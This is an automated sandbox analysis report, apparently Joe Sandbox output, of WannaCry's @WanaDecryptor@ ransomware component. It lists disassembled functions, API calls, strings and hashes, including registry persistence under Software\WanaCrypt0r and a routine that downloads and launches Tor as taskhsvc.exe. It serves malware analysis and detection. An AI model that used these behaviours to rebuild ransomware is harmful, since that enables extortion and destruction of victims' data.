                                                                                                                          Similarity
                                                                                                                          • API ID: #540#567$#860Color$Load$Cursor$#1146#1168#324#341#6140#858CallbackDispatcherIconUser
                                                                                                                          • String ID: 0ZA$0ZA$0ZA$DZA
                                                                                                                          • API String ID: 3237077636-3729005435
                                                                                                                          • Opcode ID: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                                                                                                          • Instruction ID: 094c42c2691411c2b0867f220185f46eb880b1852b80e7f1edf951ce12ca3c27
                                                                                                                          • Opcode Fuzzy Hash: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                                                                                                          • Instruction Fuzzy Hash: 6261E970544B419ED364EF36C5817DAFBE4BF95304F40891EE1EA82281DFB86149CFAA
                                                                                                                          Function 0040B840 Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 138synchronizationprocessfileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • sprintf.MSVCRT ref: 0040B87A
                                                                                                                          • GetFileAttributesA.KERNELBASE(?,?,?,?,00000000,?), ref: 0040B88D
                                                                                                                          • CreateProcessA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9AA
                                                                                                                            • Part of subcall function 0040B6A0: CreateDirectoryA.KERNELBASE(?,00000000,?,762F3310,00000000,00000428), ref: 0040B6B4
                                                                                                                            • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                                                                                                          • sprintf.MSVCRT ref: 0040B924
                                                                                                                          • GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
                                                                                                                            • Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,762F3310,00000428), ref: 0040B793
                                                                                                                            • Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                                                                                                            • Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                                                                                                            • Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                                                                                                            • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
                                                                                                                          • CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00001388,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9CF
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00007530,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9E2
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9EF
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9F6
                                                                                                                            • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete$Create$AttributesCloseDirectoryHandleObjectSingleWaitsprintf$CacheCopyDownloadEntryNameProcessTemp
                                                                                                                          • String ID: %s\%s\%s$D$TaskData$Tor$https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$s.wnry$taskhsvc.exe$tor.exe
                                                                                                                          • API String ID: 4284242699-3937372533
                                                                                                                          • Opcode ID: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                                                                                                          • Instruction ID: 35d80fb58dc1195f77b7b167f0129d00e9adf464e01d9889cd120ecf7352bd78
                                                                                                                          • Opcode Fuzzy Hash: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                                                                                                          • Instruction Fuzzy Hash: 0C4137716443007AD710DBA4EC41BEBB7D4AFE8700F90883FF698532E1D6B99548879E
                                                                                                                          Function 00405A60 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                                                                                                            • Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                                                                                                            • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                                                                                                            • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                                                                                                            • Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
                                                                                                                            • Part of subcall function 0040B620: SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                                                                                                            • Part of subcall function 0040B620: SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                                                                                                            • Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
                                                                                                                            • Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689
                                                                                                                          • #1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
                                                                                                                          • #2621.MFC42 ref: 00405A96
                                                                                                                          • #6438.MFC42 ref: 00405A9B
                                                                                                                            • Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
                                                                                                                            • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
                                                                                                                            • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229
                                                                                                                          • #2514.MFC42 ref: 00405AC1
                                                                                                                            • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                                                                                                            • Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB
                                                                                                                          • #800.MFC42 ref: 00405C33
                                                                                                                          • #800.MFC42 ref: 00405C47
                                                                                                                          • #800.MFC42 ref: 00405C5B
                                                                                                                          • #800.MFC42 ref: 00405C6F
                                                                                                                          • #781.MFC42 ref: 00405C83
                                                                                                                            • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                                                                                                            • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                                                                                                            • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                            • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                            • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                            • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                                                                                                            • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                                                                                                          • #609.MFC42 ref: 00405D37
                                                                                                                          • #609.MFC42 ref: 00405D4B
                                                                                                                          • #616.MFC42 ref: 00405D5C
                                                                                                                          • #641.MFC42 ref: 00405D70
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800Window$#540#567$#2414$#609#795$#1134#2514#2621#324#616#641#6438#654#765#781ActiveBringExitFindFocusForegroundProcessShow
                                                                                                                          • String ID: 0ZA$DZA$Wana Decrypt0r 2.0
                                                                                                                          • API String ID: 3942368781-2594244635
                                                                                                                          • Opcode ID: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                                                                                                          • Instruction ID: 9717df00861f10ea142a6202e5f0f29f583150bd1f0a7909c2c79a4805d5fd97
                                                                                                                          • Opcode Fuzzy Hash: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                                                                                                          • Instruction Fuzzy Hash: 3871B7345097C18EE735EB25C2557DFBBE4BFA6308F48981E94C916682DFB81108CBA7
                                                                                                                          Function 00407A90 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 178 407a90-407ab7 179 407bf4-407c28 #2385 178->179 180 407abd-407ac5 178->180 181 407ac7 180->181 182 407aca-407ad1 180->182 181->182 182->179 183 407ad7-407af9 call 404c40 #2514 182->183 186 407b72-407bef #2414 * 2 #800 #641 183->186 187 407afb-407b6d #537 #941 #939 #6876 * 2 #535 call 4082c0 #800 183->187 186->179 187->186
                                                                                                                          APIs
                                                                                                                          • #2514.MFC42 ref: 00407AF1
                                                                                                                          • #537.MFC42(***), ref: 00407B04
                                                                                                                          • #941.MFC42(00421234,***), ref: 00407B1A
                                                                                                                          • #939.MFC42(?,00421234,***), ref: 00407B28
                                                                                                                          • #6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
                                                                                                                          • #6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
                                                                                                                          • #535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55
                                                                                                                          • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
                                                                                                                          • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
                                                                                                                          • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
                                                                                                                          • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
                                                                                                                          • #641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
                                                                                                                          • #2385.MFC42(?,?,?), ref: 00407C0E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#6876#800$#2385#2514#535#537#641#939#941
                                                                                                                          • String ID: ***$[A$[A
                                                                                                                          • API String ID: 3659526348-3419262722
                                                                                                                          • Opcode ID: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                                                                                                          • Instruction ID: 6b54b999ec918a2e7db5809f8de8f0b59fd624410e6f3b71b4409e3b9ece79cc
                                                                                                                          • Opcode Fuzzy Hash: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                                                                                                          • Instruction Fuzzy Hash: D5416A3410C781DAD324DB21C541BEFB7E4BB94704F408A1EB5A9832D1DBB89549CF67
                                                                                                                          Function 004063A0 Relevance: 22.6, APIs: 15, Instructions: 82COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 223 4063a0-4064b5 #2302 * 12 #2370 * 3
                                                                                                                          APIs
                                                                                                                          • #2302.MFC42(?,0000040F,?), ref: 004063B2
                                                                                                                          • #2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
                                                                                                                          • #2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
                                                                                                                          • #2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
                                                                                                                          • #2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
                                                                                                                          • #2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
                                                                                                                          • #2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
                                                                                                                          • #2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
                                                                                                                          • #2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
                                                                                                                          • #2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
                                                                                                                          • #2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
                                                                                                                          • #2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
                                                                                                                          • #2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
                                                                                                                          • #2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
                                                                                                                          • #2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2302$#2370
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1711274145-0
                                                                                                                          • Opcode ID: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                                                                                                          • Instruction ID: 0d28d22553b71fc94a0ee6c66579bb390b9294cd647fac9b7e1ecc0347327b15
                                                                                                                          • Opcode Fuzzy Hash: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                                                                                                          • Instruction Fuzzy Hash: 32218E711806017FE22AE365CD82FFFA26CEF85B04F00452EB369951C1BBE8365B5665
                                                                                                                          Function 00412360 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 319 412360-412376 320 412378-41237b 319->320 321 41239c-4123a8 319->321 324 412381-412384 320->324 325 412499-4124a1 320->325 322 412414-412438 call 411810 321->322 323 4123aa-4123ad 321->323 342 41243a-412445 call 411ac0 322->342 343 41244c-412452 322->343 326 4123ba-4123c6 323->326 327 4123af-4123b7 call 411ac0 323->327 324->325 331 41238a-412399 324->331 329 4124a3-4124ab call 411ac0 325->329 330 4124ae-4124bd 325->330 336 4123c8-4123d7 326->336 337 4123da-4123dd 326->337 327->326 329->330 332 4124d1-4124d4 330->332 333 4124bf-4124ce 330->333 339 4124d6-4124dc call 411390 332->339 340 4124df-4124e4 332->340 344 4123e8-4123ed 337->344 345 4123df-4123e5 call 411390 337->345 339->340 349 4124f6-41250e call 411cf0 340->349 350 4124e6-4124f4 call 4113e0 340->350 342->343 351 412463-412465 343->351 352 412454-412460 343->352 354 4123ff-412411 call 411660 344->354 355 4123ef-4123fd call 4113e0 344->355 345->344 369 412510-412513 349->369 370 412578-41257b 349->370 350->349 360 412467-412476 351->360 361 412479-412496 351->361 354->322 355->354 373 412515-412521 369->373 374 412524-41252f 369->374 371 412589-412598 370->371 372 41257d-412584 370->372 378 41259a-41259c 371->378 379 4125ad-4125d8 371->379 377 412632-412635 372->377 375 412531-412533 374->375 376 41253f-412556 call 412250 374->376 375->376 380 412535-412537 375->380 384 412637-412646 377->384 385 41269e-4126b8 call 411660 377->385 386 4125a2 378->386 387 41259e-4125a0 378->387 381 412649-412658 379->381 382 4125da 379->382 389 412559-412575 call 412250 380->389 390 412539-41253d 380->390 393 412671-412699 wsprintfA call 412250 381->393 394 41265a-41265c 381->394 391 4125df-41260a wsprintfA call 412250 382->391 401 4126ba-4126c7 #823 385->401 402 4126cd-4126d3 385->402 395 4125a5-4125ab 386->395 387->386 387->395 390->376 390->389 408 41260d-412630 CreateFileA 391->408 393->408 394->393 399 41265e-412660 394->399 395->378 395->379 399->391 405 412666-41266b 399->405 401->402 407 4126db-4126fc call 411810 402->407 405->391 405->393 411 412728-412730 407->411 412 4126fe-412700 407->412 408->377 415 412765-41276d 411->415 413 412702 412->413 414 41273c-412744 412->414 418 412704-412718 WriteFile 413->418 419 41271a-412720 413->419 414->415 416 412776-41278f call 411ac0 415->416 417 41276f-412770 CloseHandle 415->417 417->416 418->419 421 412732-41273a 418->421 422 412722-412724 419->422 423 412746-41275f SetFileTime 419->423 421->415 422->414 425 412726 422->425 423->415 425->407
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID: %s%s$%s%s%s$:
                                                                                                                          • API String ID: 0-3034790606
                                                                                                                          • Opcode ID: 07cbcd80151418baf6c2ab221ceef5d4791d1a14bb7a78bcbd76af968fc9e1a7
                                                                                                                          • Instruction ID: ec0a86814d75b7591ef383b01d603f7b60d36dbaf36e5cde56c141efaaef7cbf
                                                                                                                          • Opcode Fuzzy Hash: 07cbcd80151418baf6c2ab221ceef5d4791d1a14bb7a78bcbd76af968fc9e1a7
                                                                                                                          • Instruction Fuzzy Hash: 67C138726002045BDB20DF18ED81BEB7398EB85314F04456BFD54CB385D2BDE99A87AA
                                                                                                                          Function 00401C70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114registryCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 426 401c70-401cd8 wcscat 427 401cdc-401cde 426->427 428 401ce0-401cef 427->428 429 401cf1-401cfb 427->429 430 401d00-401d0c RegCreateKeyW 428->430 429->430 431 401d12-401d1b 430->431 432 401dad-401db5 430->432 433 401d62-401d8e RegQueryValueExA 431->433 434 401d1d-401d60 GetCurrentDirectoryA RegSetValueExA 431->434 432->427 435 401dbb-401dc7 432->435 436 401d9e-401dab RegCloseKey 433->436 437 401d90-401d98 SetCurrentDirectoryA 433->437 434->436 436->432 438 401dc8-401dd7 436->438 437->436
                                                                                                                          APIs
                                                                                                                          • wcscat.MSVCRT ref: 00401CC1
                                                                                                                          • RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                                                                                                          • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                                                                                                          • RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                                                                                                          • RegQueryValueExA.KERNELBASE ref: 00401D81
                                                                                                                          • SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
                                                                                                                          • RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: CurrentDirectoryValue$CloseCreateQuerywcscat
                                                                                                                          • String ID: Software\$WanaCrypt0r
                                                                                                                          • API String ID: 3883271862-1723423467
                                                                                                                          • Opcode ID: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                                                                                                          • Instruction ID: c02b3dbe7123360802e3a7ceba079e11f57c538643229ddb10ed726050e42e59
                                                                                                                          • Opcode Fuzzy Hash: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                                                                                                          • Instruction Fuzzy Hash: 5F31C271208341ABD320CF54DC44BEBB7A8FFC4750F404D2EF996A7290D7B4A90987A6
                                                                                                                          Function 004085C0 Relevance: 13.6, APIs: 9, Instructions: 75COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 439 4085c0-408652 #567 #341 GetSysColor * 4 KiUserCallbackDispatcher 440 408660-4086a6 #6140 439->440 441 408654-408658 439->441 441->440 442 40865a-40865e GetSysColor 441->442 442->440
                                                                                                                          APIs
                                                                                                                          • #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                                                                                                          • #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                                                                                                          • GetSysColor.USER32 ref: 0040861D
                                                                                                                          • GetSysColor.USER32(00000009), ref: 00408624
                                                                                                                          • GetSysColor.USER32(00000012), ref: 0040862B
                                                                                                                          • GetSysColor.USER32(00000002), ref: 00408632
                                                                                                                          • KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                                                                                                          • GetSysColor.USER32(0000001B), ref: 0040865C
                                                                                                                          • #6140.MFC42(00000002,000000FF), ref: 00408667
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Color$#341#567#6140CallbackDispatcherUser
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2603677082-0
                                                                                                                          • Opcode ID: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                                                                                                          • Instruction ID: 8505b43e8b24dba0e9a20122b4cf5018a120a2575fdff98832e5101b57525ea5
                                                                                                                          • Opcode Fuzzy Hash: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                                                                                                          • Instruction Fuzzy Hash: 7D2159B0900B449FD320DF2AC985B96FBE4FF84B14F504A2FE19687791D7B9A844CB85
                                                                                                                          Function 0040B620 Relevance: 13.5, APIs: 9, Instructions: 45windowCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                                                                                                          • ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                                                                                                          • SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                                                                                                          • SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                                                                                                          • SetForegroundWindow.USER32(00000000), ref: 0040B663
                                                                                                                          • SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                                                                                                          • SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                                                                                                          • BringWindowToTop.USER32(00000000), ref: 0040B678
                                                                                                                          • ExitProcess.KERNEL32 ref: 0040B689
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
